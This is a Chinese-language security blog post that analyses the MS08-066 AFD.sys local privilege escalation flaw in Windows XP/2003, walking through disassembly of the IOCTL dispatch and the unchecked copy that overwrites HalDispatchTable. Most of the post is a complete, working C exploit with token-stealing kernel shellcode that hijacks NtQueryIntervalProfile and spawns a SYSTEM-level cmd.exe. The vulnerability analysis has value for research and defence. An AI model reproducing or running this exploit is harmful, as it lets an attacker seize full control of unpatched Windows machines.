作者:Eros412
MS Bulletin : http://www.microsoft.com/technet/security/Bulletin/MS08-066.mspx
**********计算IoControlCode过程**********

.text:00010B9F                 mov     eax, [edx+0Ch] ; edx=CurrentStackLocation
.text:00010BA2                 push    esi
.text:00010BA3                 mov     esi, ecx
.text:00010BA5                 mov     ecx, eax  ;ecx=IoControlCode
.text:00010BA7                 shr     ecx, 2
.text:00010BAA                 and     ecx, 3FFh
.text:00010BB0                 push    edi
.text:00010BB1                 mov     edi, _AfdImmediateCallDispatch[ecx*4] ; ecx=0x0F


.data:00011FF8 _AfdImmediateCallDispatch dd 0          ; DATA XREF: AfdDispatchImmediateIrp(x,x)+12r
.data:00011FF8                                         ; AfdFastIoDeviceControl(x,x,x,x,x,x,x,x,x)+7Ar

.data:00012034 off_12034       dd offset AfdGetRemoteAddress(x,x,x,x,x,x,x,x)
.data:00012034                                         ; DATA XREF: .data:0001213Co

//0x12034-0x11FF8= 0x3C,所以ecx=(0x3C/4)=0x0F


PAGEAFD:0001AE64                 cmp     _AfdIoctlTable[esi], edi ;
PAGEAFD:0001AE6A                 jnz     loc_20510
PAGEAFD:0001AE6A
PAGEAFD:0001AE70                 mov     [edx+1], al
PAGEAFD:0001AE73                 mov     esi, _AfdIrpCallDispatch[esi]

//我们从_AfdIoctlTable寻找一个运算后==0x0F的值


kd>dd _AfdIoctlTable
f81c3108  00012003 00012007 0001200b 0001200c
f81c3118  00012010 00012017 0001201b 0001201f
f81c3128  00012023 00012024 0001202b 0001202f
f81c3138  00012033 00012037 0001203b 0001203f
f81c3148  00012043 00012047 0001204b 0001204f

//答案是0001203f

***********************************************


*****************溢出过程**********************


PAGE:000171B5                 cmp     [ebp+OutputBufferLength], eax
PAGE:000171B8                 jnb     short loc_171C3
PAGE:000171B8
PAGE:000171BA                 mov     [ebp+var_24], 80000005h
PAGE:000171C1                 jmp     short loc_171C9---------------------------------------------〉big problem!!!
PAGE:000171C1
PAGE:000171C3 ; ---------------------------------------------------------------------------
PAGE:000171C3
PAGE:000171C3 loc_171C3:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+50j
PAGE:000171C3                 mov     [ebp+OutputBufferLength], eax
PAGE:000171C6                 mov     [ebp+var_24], esi
PAGE:000171C6
PAGE:000171C9
PAGE:000171C9 loc_171C9:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+59j
PAGE:000171C9                 mov     [ebp+ms_exc.disabled], esi


PAGE:000171E0                 movzx   ecx, word ptr [ebx+5Ah] ;
PAGE:000171E4                 movzx   esi, word ptr [ebx+58h] ;
PAGE:000171E8                 add     esi, [ebp+ebx_70h] ;
PAGE:000171EB                 mov     edi, [ebp+OutputBuffer]-----------------------〉控制的OutputBuffer地址
PAGE:000171EE                 mov     eax, ecx
PAGE:000171F0                 shr     ecx, 2
PAGE:000171F3                 rep movsd--------------------------〉其实就是把sockaddr_in的内容拷贝,其中OutputBuffer地址里的内容被修改成        
                                                                   sockaddr_in.in_addr.s_addr,而这里的sockaddr_in就是accept()的socket里的
                                                                   [HalDispatchTable]==sin_port
                                                                   [HalDispatchTable=0x02]==AF_INET
                                                                   [HalDispatchTable+0x04]==sockaddr_in.in_addr.s_addr

                                                                    kd>dd HalDispatchTable
                                                                    80538ab8  88880002 0100007f cccccccc cccccccc

PAGE:000171F5                 mov     ecx, eax        ;
PAGE:000171F7                 and     ecx, 3          ;
PAGE:000171FA                 rep movsb

#include <Winsock2.h>
#include <stdio.h>
#include <windows.h>
char ShellCode[]="\x90\x90\x90\x90\x90\x90\xB8\x24\xF1\xDF"
                 "\xFF\x8B\x00\x8B\xB0\x20\x02\x00\x00\x8B"
                 "\xC6\x8B\x80\x88\x00\x00\x00\x2D\x88\x00"
                 "\x00\x00\x8B\x90\x84\x00\x00\x00\x83\xFA"
                 "\x04\x75\xEA\x8B\x80\xC8\x00\x00\x00\x89"
                 "\x86\xC8\x00\x00\x00\xC2\x08\x00";

typedef struct _THREAD_PARAMS
{
        HANDLE hInitEvent;
        HANDLE hReadyEvent;
} THREAD_PARAMS, *PTHREAD_PARAMS;

typedef DWORD (WINAPI *PNTALLOCATE)(        IN HANDLE ProcessHandle,
                                        IN OUT PVOID            *BaseAddress,
                                        IN ULONG                ZeroBits,
                                        IN OUT PULONG           RegionSize,
                                        IN ULONG                AllocationType,
                                        IN ULONG                Protect );

typedef DWORD (WINAPI *PNTQUERYINTERVAL)(  ULONG ProfileSource,PULONG          Interval );

#pragma comment (lib, "ws2_32.lib")

VOID WINAPI FooServer(LPVOID pParam)
{        
    PTHREAD_PARAMS lParams = (PTHREAD_PARAMS)pParam;
    SOCKET tcp_socket;
        SOCKET local_client;
        sockaddr_in localonly;
        sockaddr_in remote;
    int remoteLen = sizeof(remote);
    localonly.sin_family=AF_INET;
    localonly.sin_addr.s_addr = inet_addr("127.0.0.1");
    localonly.sin_port=htons(0x8888);
    tcp_socket= socket( AF_INET,SOCK_STREAM, 0 );
    bind(tcp_socket,(sockaddr*)&localonly,sizeof(localonly));
        SetEvent(lParams->hInitEvent);
        listen(tcp_socket,2);
        local_client = accept(tcp_socket,(struct sockaddr*)&remote,&remoteLen);
        printf("\n\t-> Incoming connection: %s\n\n",inet_ntoa(remote.sin_addr));
        WaitForSingleObject( lParams->hReadyEvent, -1 );
        closesocket(local_client);
        closesocket(tcp_socket);
        return;
}

int main () {

   printf("=====================================================================   \n");
   printf("\t\tMS08-066  AFD.sys Local Privilege Escalation Exploit  (POC)   \n");
   printf("\t\t    Coded and Modified by :Eros412               \n");
   printf("\t\t   Special Thanks to : Ruben Santamarta       \n");
   printf("=====================================================================   \n");

        ULONG result;
        int status;
        PROCESS_INFORMATION                        pi;
        STARTUPINFOA                                stStartup;
        DWORD HookAddress = 0x80538ab8; //HalDispatchTable address,修改KeQueryIntervalProfile的call function 的地址
                             //8062cdc2 ff15bc8a5380    call    dword ptr [nt!HalDispatchTable+0x4 (80538abc)]
        PVOID        ShellCodeMemory = (PVOID)0x01000000 ;
        DWORD        MemorySize = 0x1000;
        PNTALLOCATE        NtAllocateVirtualMemory;
        PNTQUERYINTERVAL        NtQueryIntervalProfile;
        THREAD_PARAMS lParams = {0};
        char inBuff[0x40];
        char outBuff[0x40];
        DWORD junk ;
        SOCKET tcp_socket;
        struct sockaddr_in peer;
        WSADATA ws;
        WSAStartup(0x0202,&ws);
        NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle(        "ntdll.dll"),
                                                                                                                                                        "NtAllocateVirtualMemory");
        
        NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
                                                                                                                                                                        "NtQueryIntervalProfile");
        
        status = NtAllocateVirtualMemory( (HANDLE)-1,
                                                                          &ShellCodeMemory,
                                                                          0,
                                                                          &MemorySize,
                                                                          MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                                                                          PAGE_EXECUTE_READWRITE );
                
        memset( ShellCodeMemory, 0x90, MemorySize );
        memcpy((void*)((BYTE*)ShellCodeMemory + 0x100),ShellCode,80);
        //"127.0.0.1" 在内存里==0x0100007F,所以shellcode放在后面(0x01000100)就没问题了
        lParams.hInitEvent = CreateEvent(0, FALSE, FALSE, 0);
        lParams.hReadyEvent = CreateEvent(0, FALSE, FALSE, 0);
        memset(inBuff,0x90,sizeof(inBuff));
        memset(outBuff,0x90,sizeof(outBuff));
        CreateThread(         NULL,                  
                                        0,                      
                                        (LPTHREAD_START_ROUTINE)FooServer,      
                                        (LPVOID)&lParams,          
                                        0,                      
                                        NULL);
        
        peer.sin_family = AF_INET;
        peer.sin_port = htons( 0x8888 );
        peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
        tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
        WaitForSingleObject(lParams.hInitEvent, -1);
        connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in));        
        DeviceIoControl((HANDLE)tcp_socket,
                                        0x1203f,
                                        (LPVOID)inBuff,sizeof(inBuff),
                                        (LPVOID)HookAddress,0,
                                        &junk,
                                        NULL);
    NtQueryIntervalProfile(3,&result);
        SetEvent(lParams.hReadyEvent);
        GetStartupInfo( &stStartup );
        CreateProcess( NULL,
                                        "cmd.exe",
                                        NULL,
                                        NULL,
                                        TRUE,
                                        NULL,
                                        NULL,
                                        NULL,
                                        &stStartup,
                                        &pi );


  return 0;
}


http://www.milw0rm.com/exploits/6757 - MS Windows XP/2003 AFD.sys Privilege Escalation Exploit (K-plugin) by Ruben Santamarta
http://www.whitecell.org/list.php?id=60 - Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(ms08066) by  Polymorphours
http://blogs.technet.com/swi/arc ... user-mode-data.aspx

Highslide JS
Bug&Exp | Comments(0) | Trackbacks(0) | Reads(6299)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive